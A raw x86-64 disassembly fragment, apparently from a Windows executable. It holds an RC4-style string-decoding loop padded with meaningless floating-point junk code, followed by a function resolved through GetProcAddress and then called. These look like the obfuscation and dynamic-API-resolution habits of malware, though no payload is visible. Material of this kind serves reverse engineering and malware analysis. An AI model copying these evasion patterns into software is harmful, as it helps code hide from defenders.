movzx ebp, byte [rsp + r15 + 0xe0]
mov byte [rsp + rdi + 0xe0], bpl
movzx r12d, r11b
movzx r11d, byte [rsp + r12 + 0xe0]
mov byte [rsp + r15 + 0xe0], r11b
movzx r11d, r14b
movzx ebp, byte [rsp + r11 + 0xe0]
mov byte [rsp + r12 + 0xe0], bpl
mov byte [rsp + r11 + 0xe0], bl
add cl, byte [rsp + rbx + 0xe0]
movzx ebp, byte [rsp + r15 + 0xe0]
add bpl, bl
movzx ebx, bpl
movzx ebp, byte [rsp + rdi + 0xe0]
add bpl, byte [rsp + r12 + 0xe0]
movzx edi, byte [rsp + rbx + 0xe0]
movzx ebx, cl
add bpl, byte [rsp + rbx + 0xe0]
movzx ebx, bpl
movzx ebx, byte [rsp + rbx + 0xe0]
xor dil, byte [rsp + rbx + 0xe0]
xor dil, r10b
mov byte [rsp + 0xbb], dil
movzx ebx, byte [reloc.WS2_32.dll_socket]
mov dword [rsp + 0x40], 0x46eb2400
mov dword [rsp + 0x50], 0x469cc400
mov dword [rsp + 0x48], 0x461cc800
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x40]
subss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x40]
mulss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x50]
mulss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x50]
ucomiss xmm1, xmm0
movss xmm0, dword [rsp + 0x40]
movss xmm1, dword [rsp + 0x50]
jbe 0x1400e8cd6
subss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm0, dword [rsp + 0x48]
addss xmm0, dword [rsp + 0x40]
movss dword [rsp + 0x40], xmm0
movzx esi, byte [reloc.WLDAP32.dll_Ordinal_127]
movss xmm0, dword [rsp + 0x50]
addss xmm0, dword [rsp + 0x48]
movss dword [rsp + 0x48], xmm0
add sil, 0x89
jmp 0x1400e8dc7
mulss xmm0, xmm1
movss dword [rsp + 0x50], xmm0
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x40]
divss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x40]
divss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm0, dword [rsp + 0x40]
movss xmm1, dword [rsp + 0x50]
subss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm0, dword [rsp + 0x48]
addss xmm0, dword [rsp + 0x40]
movss dword [rsp + 0x40], xmm0
movss xmm0, dword [rsp + 0x40]
addss xmm0, dword [rsp + 0x50]
movss dword [rsp + 0x50], xmm0
movss xmm0, dword [rsp + 0x40]
movss xmm1, dword [rsp + 0x48]
ucomiss xmm1, xmm0
movss xmm0, dword [rsp + 0x48]
jbe 0x1400e8d8f
addss xmm0, dword [rsp + 0x40]
movss dword [rsp + 0x40], xmm0
movss xmm0, dword [rsp + 0x48]
addss xmm0, dword [rsp + 0x40]
movss dword [rsp + 0x40], xmm0
movss xmm0, dword [rsp + 0x50]
addss xmm0, dword [rsp + 0x48]
movss dword [rsp + 0x48], xmm0
jmp 0x1400e8dc7
addss xmm0, dword [rsp + 0x50]
movss dword [rsp + 0x50], xmm0
movss xmm0, dword [rsp + 0x50]
movss xmm1, dword [rsp + 0x40]
mulss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm0, dword [rsp + 0x50]
movss xmm1, dword [rsp + 0x40]
subss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
shl bl, 4
add bl, 0xf0
or bl, sil
movzx esi, r10b
movzx r10d, byte [rsp + rsi + 0xe0]
lea r14d, [r8 + r9]
add r14d, 4
add al, byte [rsp + r11 + 0xe0]
movzx r11d, al
movzx ebp, byte [rsp + r11 + 0xe0]
mov byte [rsp + rsi + 0xe0], bpl
movzx edi, dil
movzx ebp, byte [rsp + rdi + 0xe0]
mov byte [rsp + r11 + 0xe0], bpl
movzx r14d, r14b
movzx ebp, byte [rsp + r14 + 0xe0]
mov byte [rsp + rdi + 0xe0], bpl
mov byte [rsp + r14 + 0xe0], r10b
add cl, byte [rsp + r10 + 0xe0]
movzx r11d, byte [rsp + r11 + 0xe0]
add r11b, r10b
movzx r11d, r11b
movzx esi, byte [rsp + rsi + 0xe0]
add sil, byte [rsp + rdi + 0xe0]
movzx ebp, byte [rsp + r11 + 0xe0]
movzx r11d, cl
add sil, byte [rsp + r11 + 0xe0]
movzx r11d, sil
movzx r11d, byte [rsp + r11 + 0xe0]
xor bpl, byte [rsp + r11 + 0xe0]
xor bpl, bl
mov byte [rsp + 0xbc], bpl
movzx r11d, byte [0x14049eb7d]
movzx r15d, byte [0x14049eb7e]
add r15b, 0x89
shl r11b, 4
add r11b, 0xf0
movabs rsi, 0x40d3a38000000000
mov qword [rsp + 0x40], rsi
movabs rsi, 0x40cd758000000000
mov qword [rsp + 0x50], rsi
movabs rsi, 0x40c3a40000000000
mov qword [rsp + 0x48], rsi
movabs rsi, 0x40b3a50000000000
mov qword [rsp + 0x58], rsi
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x48]
mulsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x48]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x50]
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x50]
ucomisd xmm1, xmm0
movsd xmm0, qword [rsp + 0x40]
jbe 0x1400e8fb0
movsd xmm1, qword [rsp + 0x58]
mulsd xmm0, xmm1
movsd qword [rsp + 0x58], xmm0
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x48]
mulsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm0
movzx edi, bl
movzx r10d, byte [rsp + rdi + 0xe0]
movsd xmm0, qword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x58]
mulsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
jmp 0x1400e9005
movsd xmm1, qword [rsp + 0x48]
mulsd xmm0, xmm1
movsd qword [rsp + 0x48], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd xmm1, qword [rsp + 0x58]
divsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x50]
divsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x40]
subsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movzx edi, bl
lea rsi, [r8 + r9]
add rsi, 6
or r11b, r15b
lea rbx, [r8 + r9]
add rbx, 5
add al, byte [rsp + r14 + 0xe0]
movzx r9d, al
movzx r8d, byte [rsp + r9 + 0xe0]
mov byte [rsp + rdi + 0xe0], r8b
movzx r8d, bpl
movzx ebp, byte [rsp + r8 + 0xe0]
mov byte [rsp + r9 + 0xe0], bpl
movabs r14, 0x40d6128000000000
mov qword [rsp + 0x40], r14
movabs r14, 0x40d1a88000000000
mov qword [rsp + 0x50], r14
movabs r14, 0x40ca7d0000000000
mov qword [rsp + 0x48], r14
movabs r14, 0x40c1a90000000000
mov qword [rsp + 0x58], r14
movabs r14, 0x40b1aa0000000000
mov qword [rsp + 0x68], r14
movsd xmm0, qword [rsp + 0x68]
addsd xmm0, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm0
movsd xmm0, qword [rsp + 0x68]
addsd xmm0, qword [rsp + 0x58]
movsd qword [rsp + 0x58], xmm0
movsd xmm0, qword [rsp + 0x68]
addsd xmm0, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm0
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x48]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm0, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x40]
ucomisd xmm1, xmm0
jbe 0x1400e917c
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
movsd xmm0, qword [rsp + 0x40]
addsd xmm0, qword [rsp + 0x58]
movsd qword [rsp + 0x58], xmm0
movzx ebx, bl
movzx ebp, byte [rsp + rbx + 0xe0]
mov byte [rsp + r8 + 0xe0], bpl
movsd xmm0, qword [rsp + 0x58]
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
jmp 0x1400e91e1
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm0, qword [rsp + 0x50]
addsd xmm0, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [rsp + 0x48]
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm0
movsd xmm0, qword [rsp + 0x58]
addsd xmm0, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm0
movzx ebx, bl
mov byte [rsp + rbx + 0xe0], r10b
movzx ebx, r10b
add cl, byte [rsp + rbx + 0xe0]
add bl, byte [rsp + r9 + 0xe0]
movzx r9d, bl
movzx ebx, byte [rsp + rdi + 0xe0]
add bl, byte [rsp + r8 + 0xe0]
movzx ebp, byte [rsp + r9 + 0xe0]
movzx r8d, cl
add bl, byte [rsp + r8 + 0xe0]
movzx r8d, bl
movzx r8d, byte [rsp + r8 + 0xe0]
xor bpl, byte [rsp + r8 + 0xe0]
xor bpl, r11b
mov byte [rsp + 0xbd], bpl
xor r8d, r8d
jmp 0x1400e9348
subss xmm1, xmm0
movss dword [rsp + 0x68], xmm1
movss xmm0, dword [rsp + 0x68]
movss xmm1, dword [rsp + 0x48]
mulss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm0, dword [rsp + 0x50]
movss xmm1, dword [rsp + 0x74]
mulss xmm1, xmm0
movss dword [rsp + 0x74], xmm1
movzx ebp, byte [rsp + rsi + 0xe0]
mov byte [rsp + rdi + 0xe0], bpl
movss xmm0, dword [rsp + 0x68]
movss xmm1, dword [rsp + 0x48]
subss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm0, dword [rsp + 0x68]
addss xmm0, dword [rsp + 0x48]
movss dword [rsp + 0x48], xmm0
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x40]
mulss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movzx r14d, r10b
mov byte [rsp + rsi + 0xe0], r14b
add cl, byte [rsp + r14 + 0xe0]
add r14b, byte [rsp + rbx + 0xe0]
movzx ebx, r14b
movzx ebp, byte [rsp + rbx + 0xe0]
movzx r9d, byte [rsp + r9 + 0xe0]
add r9b, byte [rsp + rdi + 0xe0]
movzx edi, cl
add r9b, byte [rsp + rdi + 0xe0]
movzx r9d, r9b
movzx r9d, byte [rsp + r9 + 0xe0]
xor bpl, byte [rsp + r9 + 0xe0]
xor bpl, r11b
mov byte [rsp + r8 + 0xbe], bpl
inc r8
inc sil
cmp r8, 0xc
je 0x1400e9677
mov r9d, eax
mov eax, r10d
add al, r9b
movzx r9d, r11b
movzx r11d, byte [rdx + r8*2 + 0x1e]
movzx r10d, byte [rdx + r8*2 + 0x1f]
add r10b, 0x89
shl r11b, 4
add r11b, 0xf0
or r11b, r10b
movzx r10d, byte [rsp + r9 + 0xe0]
movzx ebx, al
movzx edi, byte [rsp + rbx + 0xe0]
mov byte [rsp + r9 + 0xe0], dil
movzx edi, bpl
movzx ebp, byte [rsp + rdi + 0xe0]
mov byte [rsp + rbx + 0xe0], bpl
mov dword [rsp + 0x40], 0x46ab4000
mov dword [rsp + 0x50], 0x468eb600
mov dword [rsp + 0x48], 0x46645800
mov dword [rsp + 0x58], 0x462b4400
mov dword [rsp + 0x68], 0x45e46000
mov dword [rsp + 0x74], 0x45647000
movss xmm0, dword [rsp + 0x74]
movss xmm1, dword [rsp + 0x40]
subss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm0, dword [rsp + 0x74]
addss xmm0, dword [rsp + 0x48]
movss dword [rsp + 0x48], xmm0
movss xmm0, dword [rsp + 0x74]
addss xmm0, dword [rsp + 0x58]
movss dword [rsp + 0x58], xmm0
movss xmm0, dword [rsp + 0x74]
movss xmm1, dword [rsp + 0x40]
subss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm0, dword [rsp + 0x74]
movss xmm1, dword [rsp + 0x68]
mulss xmm1, xmm0
movss dword [rsp + 0x68], xmm1
movss xmm0, dword [rsp + 0x74]
addss xmm0, dword [rsp + 0x68]
movss dword [rsp + 0x68], xmm0
movss xmm0, dword [rsp + 0x68]
movss xmm1, dword [rsp + 0x74]
ucomiss xmm0, xmm1
movss xmm0, dword [rsp + 0x40]
movss xmm1, dword [rsp + 0x68]
movzx esi, sil
ja 0x1400e9250
addss xmm0, xmm1
movss dword [rsp + 0x68], xmm0
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x40]
mulss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm0, dword [rsp + 0x50]
movss xmm1, dword [rsp + 0x74]
subss xmm1, xmm0
movss dword [rsp + 0x74], xmm1
movss xmm0, dword [rsp + 0x68]
movss xmm1, dword [rsp + 0x48]
divss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm0, dword [rsp + 0x48]
addss xmm0, dword [rsp + 0x40]
movss dword [rsp + 0x40], xmm0
movss xmm0, dword [rsp + 0x48]
addss xmm0, dword [rsp + 0x40]
movss dword [rsp + 0x40], xmm0
movss xmm0, dword [rsp + 0x40]
movss xmm1, dword [rsp + 0x68]
mulss xmm1, xmm0
movss dword [rsp + 0x68], xmm1
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x40]
subss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm0, dword [rsp + 0x74]
movss xmm1, dword [rsp + 0x58]
divss xmm1, xmm0
movss dword [rsp + 0x58], xmm1
movss xmm0, dword [rsp + 0x74]
addss xmm0, dword [rsp + 0x58]
movss dword [rsp + 0x58], xmm0
movss xmm0, dword [rsp + 0x40]
movss xmm1, dword [rsp + 0x68]
mulss xmm1, xmm0
movss dword [rsp + 0x68], xmm1
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x40]
subss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm0, dword [rsp + 0x50]
movss xmm1, dword [rsp + 0x58]
ucomiss xmm0, xmm1
movss xmm0, dword [rsp + 0x40]
jbe 0x1400e9600
movss xmm1, dword [rsp + 0x74]
divss xmm1, xmm0
movss dword [rsp + 0x74], xmm1
movss xmm0, dword [rsp + 0x74]
movss xmm1, dword [rsp + 0x68]
divss xmm1, xmm0
movss dword [rsp + 0x68], xmm1
movss xmm0, dword [rsp + 0x74]
movss xmm1, dword [rsp + 0x68]
divss xmm1, xmm0
movss dword [rsp + 0x68], xmm1
movss xmm0, dword [rsp + 0x58]
movss xmm1, dword [rsp + 0x48]
subss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x50]
divss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm0, dword [rsp + 0x50]
movss xmm1, dword [rsp + 0x40]
divss xmm1, xmm0
jmp 0x1400e92ce
addss xmm0, dword [rsp + 0x68]
movss dword [rsp + 0x68], xmm0
movss xmm0, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x40]
mulss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm0, dword [rsp + 0x74]
movss xmm1, dword [rsp + 0x58]
subss xmm1, xmm0
movss dword [rsp + 0x58], xmm1
movss xmm0, dword [rsp + 0x74]
movss xmm1, dword [rsp + 0x58]
divss xmm1, xmm0
movss dword [rsp + 0x58], xmm1
movss xmm0, dword [rsp + 0x48]
addss xmm0, dword [rsp + 0x40]
movss dword [rsp + 0x40], xmm0
movss xmm0, dword [rsp + 0x58]
addss xmm0, dword [rsp + 0x50]
movss dword [rsp + 0x50], xmm0
jmp 0x1400e92d4
mov byte [rsp + 0xc9], 0
mov r12, qword [rsp + 0x90]
mov r13, qword [rsp + 0x88]
lea rdx, [rsp + 0xb0]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8, r12
add r8, 8
mov rcx, qword [r12]
mov qword [rsp + 0x20], 0
xor edx, edx
mov r9d, 0x30
call rax
test eax, eax
jns 0x1400e96cf
mov rcx, qword [r12]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r12d, r12d
mov r14, r12
jmp 0x1400e7174